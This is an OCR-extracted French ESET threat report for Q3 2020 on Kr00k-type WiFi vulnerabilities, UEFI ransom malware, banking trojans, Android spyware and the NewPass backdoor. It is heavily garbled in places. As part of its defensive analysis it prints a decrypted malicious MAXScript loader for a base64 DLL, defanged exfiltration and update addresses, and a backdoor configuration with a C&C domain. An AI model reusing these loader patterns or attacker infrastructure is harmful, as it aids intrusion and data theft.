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https://www.welivesecurity.com/research/
https://twitter.com/ESETresearch
https://github.com/eset

Table des matieres Avant-propos

Bienvenue dans l’edition de Q3 2020 du rapport ESET sur les menaces !

3 CHRONIQUE SPECIALE

Tandis que le monde se prépare a un houveau confinement pour [’hiver, COUID-19 semble
5 EN DIRECT DU LQBD cependant aquoir perdu de sa vigueur aupres des cybercriminels. Les appdts lies qu coronavirus

ne faisant plus recette, les escrocs semblent étre <« revenus a l'essentiel »» durant R3 2020.
Les effets de la pandemie continuent toutefois de se faire sentir dans le téletravail, qui

9 ACTIU ITE DES GROUPES presente de nombreux problemes de securite.

C’est particulierement vrai avec les attaques visant le protocole RDP [acces o distance], en

]_3 STQTISTIQUES ET TENDQNCES hausse tout au long du premier semestre. Durant (3, les tentatives d’attaque contre ROP ont

encore augmente de 37 % en termes de clients uniques ciblés, probablement en raison du
Top 10 des malwares déetecteées nombre croissant de systemes mal securises connectes a Internet pendant la pandemie, et peut-
étre méme que d’autres criminels s’inspirent des opérateurs de ransomwares en ciblant RDOP.

Telechargeurs - : S , 5
Suivi de pres par les specialistes J’ESET, le paysage des ransomwares a connu une premiere

Valares hermat o ce trimestre : une attaque classée comme homicide apres la mort d’un patient dans un hépital

touché par des ransomwares. Autre fait surprenant, la reprise des activites des extracteurs de

Ransomwares cryptomonnaie, qui etaient en declin depuis sept trimestres consécutifs. Il s’est passeé beaucoup

plus de choses durant R3 : le retour d’Emotet, la recrudescence des malwares bancaires Android,

Extracteurs de crgptomonnaie de nouvelles vagues d’emails se faisant passer pour de grandes entreprises de livraison et de

logistique...

Logiciels espions et portes derobees Les découvertes des chercheurs Jd’ESET ont été tout aussi riches ce trimestre : nhouvelles

= loitat i d ¢ hilité puces Wifi vulnérables a des bugs de type Krdbk, malwares sur Mac associés o une application de
AP101tatlons e VUINErdbliltes negociation de cryptomonnaies, CORThief ciblant des commutateurs logiciels de UolIP sur Linux,

et KryptoCibule, une triple menace contre les cryptomonnaies.
Menaces sur Mac

_ En plus d’en presenter les déetails, ce rapport apporte egalement des informations exclusives et
Menaces sur Android inéedites sur des études d’ESET, plus particuliérement sur les activités de certains groupes de
pirates. Consultez les sections En direct du labo et Activité des groupes pour en savoir plus sur

Menaces web TA410, Sednit, Gamaredon et plus encore.

Menaces par email ESET o également continué de renseigner la base de connaissances MITRE ATT&CK, avec quatre
contributions acceptées en R3. Nos equipes ont publiée un script de dépistage de Krd@k, et un
Securite des objets connectes ensemble d’outils appelé Stadeo qui facilite 1'analyse du malware Stantinko.

Ce trimestre o eté marqué par une serie d’evenements virtuels, les chercheurs Jd’ESET

29 CONTRIBUTIONS ESET RESEQRCH partageant leurs connaissances o la fois durant Black Hat USA et Asia, CARO, Uirus Bulletin,

DEF CON, Ekoparty, et bien d’autres. Dans les mois a venir, hous vous 1hvitons a participer aux
conferences et ateliers d’ESET o Botconf, AUAR et CODE BLUE.

Bonne lecture, protégez-vous et prenez soin de vous !

Roman Kovéé, Chief Research Officer

RAPPORT ESET SUR LES MENACES, Q3 20620 |
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Les chercheurs Jd’ESET revelent que des bugs similaires a Krd@k affectent
plus de marques de puces qu’on ne le pensait initialement.

Notre decouverte de la vulnerabilite Kr@0k
a eu un impact enorme puisque le nombre
d’appareils touches depassait largement

le milliard. Des appareils d’Apple, de
Samsung, d’Amazon et d’autres fabricants
utilisent les puces vulnerables. Et nous
avons recemment decouvert que des

bugs similaires affectent encore plus de
marques de puces qu’'on ne le pensait.

Decouverte de Kr@@k et de
vulnerabilites similaires

Kro@k [1] (officiellement CUE-2019-15126])
est une vulnérabilité decouverte dans des

puces Wifi Broadcom et Cypress [2] qui

permet le dechiffrement non autorise d’'une
partie du trafic chiffreé par WPAZ2. Plus
precisement, le bug conduit au chiffrement
des données du reseau sans fil avec une cle
de session entierement composee de zéros

0000

?

— s o

—

au lieu de la cle appropriee qui avait ete
precedemment etablie par le protocole. Cet
etat indesirable se produit sur des puces
Broadcom et Cypress vulnerables suite a
une dissociation Wifi.

L’exploitation de Kr@B0k permet a des
pirates d’'intercepter et de dechiffrer

des données (potentiellement sensibles].
Elle préesente un avantage significatif par
rapport aux autres technigues couramment
utilisees contre Wifi : les pirates n‘ont
pas besoin d’étre authentifies et associes
au WLAN. En d’autres termes, ils n'ont pas

besoin de connaitre le mot de passe Wifi.

Nous avons travaille avec les fabricants
concernes (ainsi qu’avec ICASI [3]) dans
le cadre d’'un processus de communication
coordonnee avant l’'annonce publique de la
faille lors de la Conférence RSA de fevrier

2020 [4]. La médiatisation qui s’en est

Uue d’ensemble de Krd@k : apres une dissociation, les données sont transmises chiffrees
mais avec une cle de session entierement nulle

RAPPORT ESET SUR LES MENACES, Q3 2020 | 3


https://www.welivesecurity.com/2020/02/26/krook-serious-vulnerability-affected-encryption-billion-wifi-devices/
https://www.welivesecurity.com/wp-content/uploads/2020/02/ESET_Kr00k.pdf
https://www.welivesecurity.com/wp-content/uploads/2020/02/ESET_Kr00k.pdf
https://www.icasi.org/
https://www.rsaconference.com/industry-topics/presentation/kr00k-how-kracking-amazon-echo-exposed-a-billion-vulnerable-wifi-devices
https://www.rsaconference.com/industry-topics/presentation/kr00k-how-kracking-amazon-echo-exposed-a-billion-vulnerable-wifi-devices

suivie a attire l'attention de nombreux autres fabricants de
puces et d’appareils, dont certains ont decouvert que leurs
produits etaient egalement vulnerables, et qui ont depuis
deploye des correctifs. Nous tenons a jour une liste des
avertissements de ces entreprises sur ce site [5].

Bien gque nous n’ayons pas observe la vulnerabilite CUE-2019-
15126 dans d’autres puces Wifi que Broadcom et Cypress,
nous avons constate gue des vulnherabilites similaires
affectaient les puces d’autres fabricants. Ces découvertes
ont eté présentées durant Black Hat USA 2020 [6] et nous les
decrivons brievement ci-dessous.

RQualcomm - CUE-2020-3702

L’'une des puces gue nhous avuons examinees, en dehors de
celles de Broadcom et de Cypress, etait celle de Qualcomm. La
vulnérabilité gue nous avons decouverte (reférencée par CUE-
2020-3702) était également déclenchable par une dissociation
et a conduit a une divulgation indésirable de donneées via une
transmission non chiffree a la place de trames de donnees
chiffrees, de maniere assez similaire a Kr@@k. La principale
difference est cependant qu’au lieu d’étre chiffrees avec une
cle de session entierement nulle, les donnees ne sont pas
chiffrées du tout.

Le journal Wireshark ci-contre montre une trame capturee
apres invocation d’'une dissociation sur un routeur Wifi equipe
d’'une puce Qualcomm. Notez que le drapeau Protege dans le
champ de contrdle de la trame est a URAI et que la trame
semble avoir des parametres CCMP, qui sont deux indicateurs
d’'une trame de données chiffree. Mais les données ont ete
transmises non chiffrees.

Les appareils que nous avons testes et qui se sont averes
vulnherables sont le routeur Smart Home Hub D-Link DCH-GB20
et le routeur sans fil Turris Omnia. Bien entendu, tout autre
appareil non corrige utilisant des puces Qualcomm vulnerables
sera egalement vulnerable.

Suite a notre signalement, Qualcomm a ete tres cooperatif et
a publie en juillet un correctif pour le pilote proprietaire
utilise dans ses produits officiellement pris en charge.

Medialek et Microsoft Azure Sphere

Nous avons egalement observe la manifestation d’une
vulnérabilité similaire (c.-a-d. I’absence de chiffrement] sur
certaines puces Wifi de MediaTek.

L’un des appareils concernes est le routeur ASUS RT-AC52U. Le
kit de developpement Microsoft Azure Sphere, que nous avons
examine dans le cadre de notre partenariat de recherche sur

la sécurité d’Azure Sphere, est egalement vulneéerable [7]. Azure

Sphere utilise le microcontrdoleur MT3620 de MediaTek et cible
un large eventail d’applications IoT, notamment pour domiciles
intelligents, entreprises, industries et bien d’autres
domaines.

_‘ B#_ga_dhnk_[X
Eile  Edit r [ apture  Analyte  Slabeicd

= -] s L 7

e Source Destinaition Probo Length Infa

1 @.ee8e0e

Frame 1: 1256 bytes on wire (18048 bits), 1256 bytes captured (12848 bits)
Radiotap Header w8, Length 18
862.11 radico information
~ IEEE 8@2.11 QoS Data, Flags: .p....
Type/Subtype: QoS Data (©@x@e28)
« Frame Control Field: @8xB842
..B8 = Version: ©
ces. 18.. = Type: Data frame (2)
18e@ .... = Subtype: 8
* Flags: @x42

..18 = D5 status: Frame from DS to a STA via AP(To DS: @ From DS: 1) (@x2)

More Fragments: This is the last fragment
Retry: Frame is not being retransmitted
PWR MGT: STA will stay up

Protected flag: Data is protected

.B88 8888 8111 8181 = Duration: 117 microseconds
Receiver address: Tp-LinkT_@8:8b:dd (B4:16:f9:88:8b:dd)
Transmitter address: D-LinkIn_ed:e2:17 (ed4:6f:13:ed:e2:17)
Destination address: Tp-LinkT_©8:8b:dd (84:16:f9:88:8b:dd)
Source address: D-LinkIn_ed:e2:17 (ed4:6f:13:ed:e2:17)
BSS Id: D-LinkIn_ed:e2:17 (ed:6f:13:ed:e2:17)
STA address: Tp-LinkT_©8:8b:dd (84:16:1%:88:8b:dd)
Ceee a s . 2828 = Fragment number: @
egge 1eel 2111 .... = Sequence number: 151
CCMP parameters
CCMP Ext. Initialization Vector: 8xeoeesoeeees9

~ Data (1284 bytes)
Data: a3aaaB38088880888458884a4657717d84a81748lcBaldl7a..
[Length: 1284)

& ¥ COw Exbended Infislization Vector [wian,comp.sxdi, B byles

Selon MediaTek, des correctifs logiciels adressant le probleme
ont ete publiés en mars et en avril 2020. Le correctif pour
MT3620 a ete inclus dans la version 20.07 d’Azure Sphere 0S,
publiee en juillet 2020.

Conclusion

Nos conclusions sur Kr@@k ainsi que sur les vulnerabilites
similaires confirment gque nous ne devrions pas nous fier
uniguement a un seul mecanisme de protection, tel que

WPA2. I1 est plutdt préferable de considérer les reseaux
protegeées par WPA2 avec le méme niveau de prudence que pour
les réseaux Wifi publics et ouverts : veillez a utiliser un

chiffrement via SSL/TLS et un UPN.

Article sur WeliveSecurity [8]

D-LinkIn_ed:e2:17 Tp-LinkT_©8:8b:dd 862.11 1256 QoS Data, SN=151, FN=8, Flags=.p....F.

eg ee 12 ae | le 85 @9 ae 8t d3 el
82 ea BB 42 a3 dd e4 &Ff 13 ed

e2 17 ed 6F @9 @
ae 45 @e 84 a4
65 77 17 d9 ag 81 Va ¢® a8 81 dd ew- -j@-ta
64 65 66 &7 &d 78 71 72 73  defghijk lmnopgrs
74 75 786 77 66 69 6a 6b tuvwabcd efghijkl
6d ge &f 78 7 76 77 B2 63 B4 mnopgrst uvwabcde
&6 BT BB 69 ef 7 72 73 74 fghijklm nopgrstu
76 77 61 62 68 eb 6¢ &d vwabcdef ghijklmn
71 72 61 64 65 66 B opqrstuy wabcdefg
6a &b 71 74 75 76 73 hijklmne pgrstuvw
63 84 &a &d 6e &F 7 abcdefgh ijklmnop
2 73 74 7 63 66 67 BB grstuvwa bcdefghi
ec &d 73 7 76 77 B1 Jjklmnopg rstuvwab
&5 66 (=T ef 71 cdefghijy klmnopgr
75 76 &5 E8 Ea stuvwabc defghijk
Ee 75 63 lmnopgrs tuvwabcd
&7 Ge 73 efghijkl mnopgrst
77 &7 6c uvwabcde fghijklm
77 65 nopgrstu vwabcdef
78 7 75 ghijklmn opgrstuv
&9 Ee wabcdefg hijklmno
62 67 parstuvw abcdefgh
72 77 ijklmnop grstuvwa
&b 7@ bcdefghi jklmnepg
&84 69 rstuvwab cdefghij
74 7 B2 ¢ klmnopgr stuwvwabc
&d 72 defghijk lmnopgrs
=153 &b tuvwabcd efghijkl
76 64 mnopgrst uvwabcde
&f 74 7 fghijklm nopgrstu
68 69 & ¢ 6d vwabcdef ghijklmn
7 Bl B2 ¢ =1 opqrstuv wabcdefg
71 7 7 76 hijklmno pgrstuww
&a ' &6F abcdefgh ijklmnop
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Journal Wireshark d’'une trame capturee apres une dissociation sur un routeur Wifi equipé d’une puce Rualcomm vulnerable
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https://www.welivesecurity.com/2020/08/06/beyond-kr00k-even-more-wifi-chips-vulnerable-eavesdropping/

Malware UEFI

Le malware EFIlock empéche 1l'ordinateur de demarrer et
demande unhe rancon

ESET Research a identifie de multiples echantillons de bootloaders EFI malveillants.
Le malware, détecté par les produits ESET sous le nom EFI/EFIlock, affiche un message
de demande de rancon et empéche l'ordinateur de déemarrer. Il peut compromettre les
ordinateurs dont la fonction de démarrage securise UEFI est desactivee.

Un malware remplace le bootloader EFI « bootx64.efi » par defaut et supprime les modules
Microsoft EFI sur la partition systeme EFI afin de demarrer un module malveillant. Le
bootloader remplace affiche simplement un message de demande de rancon et execute une

\_ ) N ' boucle infinie. Malgré ce que prétend le message, EFIlock ne chiffre pas les ordinateurs
— touchés.

] _\< —

SR L a2 N L Fil de discussion sur Twitter [9]

Groupe Evilnum

A M Une etude approfondie d'Evilnum et de ses outils

ESET Research a analyse les activites d’Evilnum, le groupe de cybercriminels a l'origine
) du malware Evilnum utilise dans des attaques contre des entreprises de technologie
financiere. Bien que le malware existe depuils au moins 2018, les activites du groupe sont

restees largement discretes.

L’etude revele que les outils et l'infrastructure du groupe ont evolue et comprennent
déesormais un melange de malwares personnalises, developpes par ses auteurs, combines a
des outils achetes aupres de Golden Chickens, un fournisseur de malwares sous forme de
services (MaaS) qui compte des clients célébres tels que les groupes FIN6 et Cobalt.

Selon la telemetrie d’ESET, les cibles d’Evilnum sont des entreprises de technologie
financiere, par exemple des plateformes et des outils de courtage en ligne. Le principal
objectif du groupe Evilnum est d’espionner ses cibles et d’obtenir des informations
financieres a la fois aupres des entreprises visees que de leurs clients.

Les cibles recoivent des emails d’hameconnage qui integrent un lien vers un fichier ZIP
héberge sur Google Drive. Cette archive contient plusieurs fichiers de raccourcis qui
extraient et executent un composant malveillant, tout en affichant un document leurre.

Dernieres decouvertes des labo de Article sur WeliveSecurity [10]

recherche d’ESET dans le monde
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Menaces sur Mac

Des applications Mac de negociation de cryptomonnaie ont
ete rebaptisees et integrent desormais des malwares

Les chercheurs d’ESET ont réecemment decouvert des sites web diffusant des applications de
negociation de cryptomonnaie pour Mac contenant un cheval de Troie. Il s’agit d’applications
legitimes integrant le malware GMERA, que les operateurs utilisent pour voler des
informations sensibles aupres des victimes.

Dans cette campagne, I'application commerciale legitime Kattana a ete rebaptisee, des sites
web similaires ont ete crees, et le malware a ete intéegreé dans son programme d’installation.
Quatre noms difféerents sont utilises pour l'application comportant le cheval de Troie :
Cointrazer, Cupatrade, Licatrade et Trezarus.

En plus de 1’'analyse du code du malware, hous avons egalement mis en place des honeypots
pour tenter de determiner les motivations des cybercriminels. Les activites qui y ont ete
constatees confirment que les pirates collectent des informations sur les navigateurs,
telles que des cookies et l'historique de navigation, des portefeuilles de cryptomonnaie, et

effectuent des captures d’ecran.

Article sur WeliveSecurity [11]

Malware bancaire

Mekotio : ce ne sont pas les mises a jour de securite gque
vous recherchez...

Les chercheurs d’'ESET ont disseque Mekotio, un cheval de Troie bancaire ciblant les pays
hispanophones et lusophones. Mekotio integre des fonctionnalites typiques d’'une porte
derobee, notamment la prise de captures d’eécran, le redemarrage des machines affectees, la
restriction de l'acces aux sites web bancaires legitimes et, dans certaines variantes, le vol
de bitcoins et l'exfiltration des identifiants stockes dans le navigateur Google Chrome.

Mekotio est actif depuis au moins 2015 et partage des caracteristiques communes a d’autres
chevaux de Troie bancaires sur lesquels nous avons enquéte, notamment sa programmation en
Delphi, l'utilisation de fausses fenétres pop-ups et des fonctionnalites de porte derobee.
Pour paraitre moins suspect, Mekotio tente de se faire passer pour une mise a jour de
securite a l'aide d’une boite de dialogue specifiqgue.

Article sur WeliveSecurity [12]

Malware ciblant des cryptomonnaies

KryptoCibule : le voleur de cryptomonnaies multitache

ESET Research a decouvert une famille de malwares de type cheval de Troie, jusqgu’alors
inconnue, qui se repand via des torrents malveillants et qui utilise plusieurs ruses pour
voler autant de cryptomonnaie que possible aupres de ses victimes. La menace, que nous
avons nommee KryptoCibule (dérivée des mots tchéques et slovaques pour « crypto » et
« 0ignon »)J, vise principalement des utilisateurs en Reéepubligue tchéque et en Slovaquie
selon la téelemetrie d’ESET.

Ce malware est une triple menace sur les cryptomonnaies. Il utilise les ressources de

la victime pour extraire de la cryptomonnaie, tente de detourner des transactions en
remplacant les adresses des portefeuililles dans le presse-papiers, et exfiltre des fichiers
lies aux cryptomonnaies, tout en deployant de multiples technigues pour eviter d’étre
detecte. KryptoCibule utilise largement le reseau Tor et le protocole BitTorrent dans son
infrastructure de communication.

Article sur WeliveSecurity [13]

Menaces sur Linux

CORThief cible des commutateurs logiciels de UolIP sur Linux

ESET Research a decouvert un malware interessant, nhomme CDRThief, qui cible des
commutateurs logiciels de voix sur IP (UolIP) sur Linux.

Nous avons remargque ce malware dans un de nos flux de partage d’echantillons, et comme il
s’agit d’'un malware Linux entierement nouveau, ce qui est rare, il a attire notre attention. Ce
qui est encore plus interessant, c’est gu’il est rapidement apparu gque ce malware visait une
plateforme spécifique de UolP sur Linux.

L’objectif principal du malware est d’exfiltrer differentes donnees privees d’un commutateur
logiciel compromis, y compris des enregistrements de details d’appels (CDR). Les CDR
contiennent des metadonnéees sur les appels UolP telles que les adresses IP de l'appelant

et de 1'appele, ’heure de debut et la duree de l'appel, les frais de communication, etc. Pour
voler ces metadonnees, le malware interroge les bases de donnees MUSQL internes utilisees
par le commutateur logiciel. Ainsi, les pirates font preuve d’'une bonne comprehension de
l’architecture interne de la plateforme ciblee.

La maniere dont ils utilisent les informations volees est un mystere encore non resolu. Les
enregistrements des donnees d’appel pourraient étre utilises a des fins de cyberespionnage

ou de fraude.

Article sur WeliveSecurity [14]
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3ds MAXScripts malveillants Exclusivite

De nombreux utilisateurs de 3ds Max ont ete touches par
deux campagnhes utilisant des MAXScripts malveillants

PhysXPluginStl

A la mi-ao0t 2020, Bitdefender [15] a signalé une campagne dont la premiére étape était un
fichier de script 3ds Max (MSE) chiffreé, nommeé « PhysXPluginStl.mse » et contenant une DLL

malveillante. Nous 1’'avons analysé et avons tweeté [16] nos conclusions.

Autodesk 30s Max est un logiciel de modélisation et d’animation 30 professionnel tres populaire. Un
script MSE est un 3ds MAXScript (MS]) chiffré a 'aide d’un algorithme de chiffrement propriétaire.
Deux versions de I'algorithme sont prises en charge, a savoir la version 1 et la version 2.
L’algorithme de la version:1 a l'avantage d’étre pris en charge par toutes les versions de 30s Max,
et c’est celle qui a eteé choisie par les pirates pour maximiser le nhombre de victimes potentielles.

Une fois dechiffre, « PhysXPluginStl.mse » contient une DLL .NET encodee en baset4 qui est

chargee a l’'aide de liaisons .NET 3ds Max.

/* Decrypted malicious MSE script */
try(((((dotnetclass "Reflection.Assembly").Load ((dotNetClass "Convert").

FromBase64String "TVqQAAM[...]AAAAAAAA")) .GetType "B4EGHVVNCvY.hgB6CYsCRMX").
GetMethod "zPM7LlFrLLNE").invoke undefined undefined)catch()

Contenu du MAXScript malveillant dechiffre

En examinant notre telemetrie, nous avons trouve des centaines de victimes, situees
principalement en Corée du Sud et au Japon. La premiere observation de cette menace
remonte a fevrier 2020. Plusieurs de ces victimes etaient des societes de jeux video, ce qui
n'est pas surprenant vu la nature du logiciel 3ds Max.

En parallele de cela, nous avons egalement observe que certaines des victimes du secteur
des jeux vidéo avaient déja eté ciblées par le groupe Winnti (voir nos éetudes d’octobre 2019

[17] et de mai 2020 [18]]). Une analyse plus approfondie n'a cependant pas réveéle d’éléements

communs dans les outils et les infrastructures entre le groupe Winnti et cette campagne.

Nous ne pensons pas qu’ils soient lies.

ALC3

Cette campagne particuliere, qui utilise des fichiers MSE malveillants, n'est pas la seule
gue nous ayons observee. En mars dernier, un article [19] et un commentaire sur 1’App Store

d’Autodesk [20] mentionnait un nouveau MAXScript malveillant appelée ALC3, concu pour voler

des modeles 3ds Max et se propager a d’autres fichiers MAXScript une fois enregistre.
Ce script malveillant recueille d’abord differentes informations sur son hote, telles que :

= Nombre de coeurs

= Quantite de RAM

= Modeles, tailles et numeros de serie des disques

» Adresses MAC de l'interface reseau Ethernet et adresses IP attribuees
= Uersion de 3ds Max utilisee

Ces informations ainsi que le modele 3ds Max actuel sont ensuite envoyees par email a
l’adresse rrr888_3000@126[.Jcom avec sss777_2000@126[.Jcom comme expediteur en utilisant
I’API .NET System.Net.Mail et le serveur SMTP smtp.126[.]Jcom. Cela signifie que les pirates ont
non seulement acces aux informations de la machine de la victime mais eégalement a leurs
modeles 3ds Max, ce qui peut leur permettre de voler de la propriete intellectuelle de valeur.

Le malware s’actualise également a partir de http://www.maxscript[.]cc/update/upscript.mse
et le script mis a jour est enregistre dans le dossier de demarrage de 3ds Max, afin gu’il soit
execute a chague lancement de 3ds Max.

Nous avons remarque recemment que le domaine maxscriptl[.]Jcc n'etait plus sous le controle
des pirates, alors nous 1l’'avons fait couler. Comme aucun mecanisme de secours n'existe

dans le malware pour les communications C&C, cela empéche les pirate de mettre a jour leur
malware. Le virus continue cependant de se propager, et le vol de donnees de se poursuiuvre.

Grace a ce domaine, nous avons decouvert que des dizaines de milliers d’ordinateurs utilisant
3ds Max etaient compromis par ce script, plus de 90 % des victimes se trouvant en Chine.

Indicateurs de compromis [(IoC] [21]

Japon Corée du Sud MBAutre Chine Hong Kong B USA MBAutre

49 %

1%

96 % lllll!tjgﬁsé
3 %

45 %

Reépartition geographique des victimes du
MAXScript PhysXPluginStl malveillant

Répartition geographique des victimes du
MAXScript ALC3 malveillant
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utilisent une langue etrangere a I’Amerique latine. Ces emails sont mal rediges et certains

Chevaux de Troie bancaires d’'Amerique latine Exclusivite

contiennent méme des portions en espagnol, probablement en raison du mangque de maitrise

ESET surveille les chevaux de Troie bancaires d’Amerique latine depuis plus de l'italien de la part des pirates. Le modele d’email est identique a celui utilisé dans les
de trois ans, et ils ne cessent d’évoluer. Durant 23 2020, les chercheurs campagnes espagnoles. En comparaison avec l’'Espagne, ces campagnes etaient tres petites.

Nous pensons donc gue ces escrocs testent actuellement le territoire. Est-il possible que

d’ESET ont observe des changements significatifs par rapport a R2. ) | _ _ _ _
I’Italie soit leur prochaine cible majeure ?

C h e Ua ux d e Tr‘Dle ba n Calr‘es d ’ﬂ m é r‘lq u e latln e : l’E u r‘op e e n De Motificacion Pendiente < contacto@accesofinanciero.com= 1F
- - Lzzumpte Pwd: Servicio Tributaria - N° (911817) 5.09
ligne de mire . o

Grandoreiro [22], Mekotio [12] et Mispadu [23] étaient les chevaux de Troie bancaires les

plus actifs ces derniers temps. Depuis fin 2019, ils se sont etendus au-dela des frontieres
de I’'Ameérigue latine pour atteindre I'Espagne et le Portugal. Cela semblait étre une etape
logigue en raison des similitudes linguistiques. De maniere inattendue, d’apres la telemetrie
d’ESET en Q3, ils ont egalement reduit de maniere significative leur activite au Bresil, leur
pays d’origine.

se anexa el seguiente comprobante fiscal digital

Par rapport a Q2, les campagnes en Espagne ont double tandis que celles au Bresil ont Remitente: Servicio de Administracién Tributaria.
Hemos identificado que tienes pendiente de presentarn al 30 de septiembre de 2020, lo siguiente:

considerablement diminue. L’Amerique latine reste une cible, car elle est toujours attaquee A quien corresponda

SERIE Y FOLIO: 2158945
FECHA DE EMISION: 30/09/2020
MONTO TOTAL: 9522.20

par d’autres chevaux de Troie bancaires, principalement Casbaneiro [24] et Uadokrist.

Espagne Mexique Bresil EChili EAutre UE mLATAM Servicic de Administracidn Tributaria,

+35 1308 808 500 Capitales yv areas metropolitanas

100 % - 100 %
0 7 JH H = = . |
Modele d’email de spam utilise par Mekotio en Espagne
80 % 80 %
70 % 0%
60 % 60 % , ) ) ) . . ) )
— =5 = Il n'est pas surprenant que les chevaux de Troie bancaires latino-americains aient
JE / e / commence a cibler 1’Espagne et le Portugal. Les similitudes linguistiques permettent
- / - / aux opéerateurs de maximiser leurs chances. Nous avons cependant éete surpris par la
50 0 ¥ baisse significative de l’'activite au Bresil et par son apparition soudaine en Italie.
10 % 10 % Juraj Hornak, Malware Analyst chez ESET
0 % 0 %
Q1 Q2 Q3 Q4 Q1 Q2 Q3 Q1 Q2 Q3 Q4 Q1 Q2 Q3
2019 2019 2019 2019 2020 2020 2020 2019 2019 2019 2019 2020 2020 2020 _ _ _ _ _ _ . o
Enfin, Mekotio est devenu le premier cheval de Trole bancaire latino-americain a se doter
d’une variante 64 bits. Méme s’il s’agit d’une approche standard des malwares de nos jours,
Pays et régions visés par Grondoreiro, Mekotio et Mispadu combines elle n'a jamais ete utilisee par ces familles de malwares auparavant. Cela ne fait que prouver
leurs efforts d’amelioration continue.
Cette activite croissante en Europe nous amene a un second constat : plusieurs Pour plus d’informations, ESET a recemment publié un livre blanc [26], qui explique en détail
campagnes de spam ciblant 1’'Italie [25] au cours des dernieres semaines de R3. C'est comment les auteurs de chevaux de Troie bancaires latino-americains cooperent etroitement.

surprenant. C’est la premiere fois que les operateurs de ces familles de malwares _ _
Indicateurs de compromis (IoC] [21]
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Menaces sur Android

Welcome Chat serait une application de messagerie
securisee ? Rien n'est plus eloignhe de la verite

Les chercheurs d’ESET ont decouvert une nouvelle campagne de cyberespionnage de longue
date au Moyen-0Orient, associees au groupe Gaza Hackers egalement appele Molerats.

La campagne diffuse une application Android, Welcome Chat, qui fait office de

logiciel espion tout en fournissant les fonctionnalites de chat promises. Le site web
malveillant qui heberge 1’'application pretend proposer une plateforme de chat securisee
disponible dans la boutique Google Plau.

Les deux affirmations sont fausses : Welcome Chat est un outil d’'espionnage, et n'a jamais
ete disponible sur 1'app store officielle d’Android. Ses operateurs ont egalement publier
sur Internet les donnees recoltees aupres des victimes.

En plus de surveiller les communications de ses utilisateurs, l'application Welcome
Chat effectue les actions malveillantes suivantes : exfiltration des SMS envoyes et
recus, historique du journal des appels, liste de contacts, photos, appels téelephoniques
enregistres, localisation GPS et informations sur l’appareil.

Article sur WeliveSecurity [27]

Enquétes d’'ESET sur les groupes de
menaces persistantes avancees et

leurs campagnes

APT-C-23 fait evoluer son logiciel espion Android

ESET Research a decouvert une version inedite d’un logiciel espion Android utilise par
APT-C-23, un groupe egalement appele Two-tailed Scorpion qui vise principalement le
Moyen-0rient. Les produits ESET détectent le malware sous le nom Android/SpyC23.A.

Par rapport aux versions precedemment documentees du logiciel espion mobile de ce
groupe, Android/SpyC23.A dispose de fonctionnalités d’espionnage étendues, nhotamment la
lecture des notifications des applications de messagerie, l'enregistrement des appels et
des captures d’écran de WhatsApp, et de nouvelles fonctions furtives, telles que le rejet
des notifications des applications de securite integrees d’Android.

Il est hotamment diffuse via une fausse boutique d’applications Android, en

se failsant passer pour des applications de messagerie bien connues, telles que Threema et
Telegram, en guise de leurre. Apres 1l'initialisation du malware, les victimes sont invitees
a installer manuellement l'application legitime, qui est stockee dans les ressources du
malware. Pendant que l'application legitime est installee, le malware cache sa presence
sur 1l’'appareil. Ainsi, les victimes se retrouvent avec une application fonctionnelle gqu’elles
avaient l'intention de telecharger et un logiciel espion fonctionnant silencieusement en
arriere-plan.

Article sur WeliveSecurity [28]
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NewPass Exclusivite

NewPass : 1’histoire de deux attributions

En juin 2020, un malware non documente a ete televerse sur UirusTotal depuis
Chypre. Dans les semaines suivantes, il g ete attribue a Turla et homme
NewPass par Telsy, une entreprise de séecurité. Les chercheurs d’ESET ne sont
pas d’accord avec les affirmations de cette entreprise et considerent que
NewPass n’est actuellement pas attribué.

Nous avons en fait pris connaissance de cette porte derobee en mars 2019 alors gque nous
enquétions sur un incident lié au groupe Dukes (également appelé APT29]. Cet incident,

documenteé dans le livre blanc d’ESET Operation Ghost [29] d’octobre 2019, s’est produit au
ministere des Affaires etrangeres d’'un pays de 1'Union europeenne. Au cours de cette enquéte,

plusieurs echantillons de Crutch, une porte derobee utilisee par Turla, ont egalement ete
trouves sur les mémes ordinateurs.

Le méme auteur chypriote qui a televerse NewPass sur UT en juin 2020 avait egalement
televerse des echantillons de la porte derobee Turla Carbon sur UirusTotal en mai 2020. Nous
pensons que l'attribution publique actuelle de NewPass a Turla est due a cette association.

Caracteristiques techniques de NewPass

NewPass est une porte derobee complexe programmee en C++. Nous n‘avons constate aucune
similitude de son code avec les familles de malwares connues de Dukes ou Turla.

Un chargeur et un systeme de fichiers virtuel chiffre contenant la configuration au format
JSON et 1la DLL de la porte derobee sont presents sur le disque.

"RunDL1Name": "rundll132.exe",
"AgentBinaryName": "lib3DXquery.dll",
"ImgurTokenRefreshTime": "864000",
"PostMinSize": "4096",
"ClientSecret": "",
"InitialSleepTime": "120",
"AgentExportName": "LocalDataVer",

"AgentFileSystemName": "Reader 20.021.210 47.dat",

"ServerPeriod": "30",

"AgentExportFunctionName": "LocalDataVer",

"Servers": [

{
"Current": 0,
"Credentials": "|Protocol|http|VERSION|19.7.16|DOMAIN|newshealthsport.com|PHPFILE|/sport/
latest.php|KEY|18529075|HTTPSPORT | 443 | RESENDCOUNT | 2 | RESENDPERIOD|2|",

"Priority": 0O,

"Protocol": "http"
}
],

"AgentFolder": "C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader",
"AgentLoaderVersion": "19.03.28",
"FileSystemPath": "C:\\ProgramData\\Adobe\\ARM"

Comme le suggerent certains des noms cles de la configuration, NewPass met en ccuvre deux
protocoles reseau : un qui utilise HTTP et un autre, plus complexe, qui utilise les fichiers

d’images televerses sur le service web Imgur.

En utilisant I’API officielle d’'Imgur, NewPass telecharge ou televerse des images dans le
service. Il utilise un mecanisme de steganographie pour extraire des informations, telles
que des commandes, a partir des images telechargees, et integre les donnees exfiltrees dans
les images qui sont televersees sur Imgur afin que les operateurs du malware les recuperent
ulterieurement. Pour se fondre dans l'activite normale d’'Imgur, le malware utilise un
generateur de phrases qui remplit la section de description d’Imgur.

Le protocole réeseau reposant sur HTTP presente des similitudes interessantes avec les TTP
connues de Dukes :

" |es serveurs sont contrdles par les pirates et la page d’accueil redirige vers le site web
qui est imité par le domaine malveillant (par ex. ugtimes[.]Jcom pour le serveur de C&C
utdtimes[.]Jcom). Ce systéme est similaire aux TTP PolyglotDuke et FatDuke.

m Jans la reponse HTTP du serveur, les donnees pour la porte derobee sont incluses entre deux
delimiteurs. Ce protocole reseau est similaire a celui de PolyglotDuke.

Enfin, la porte derobee met en cuvre un large eventail de commandes permettant a ses
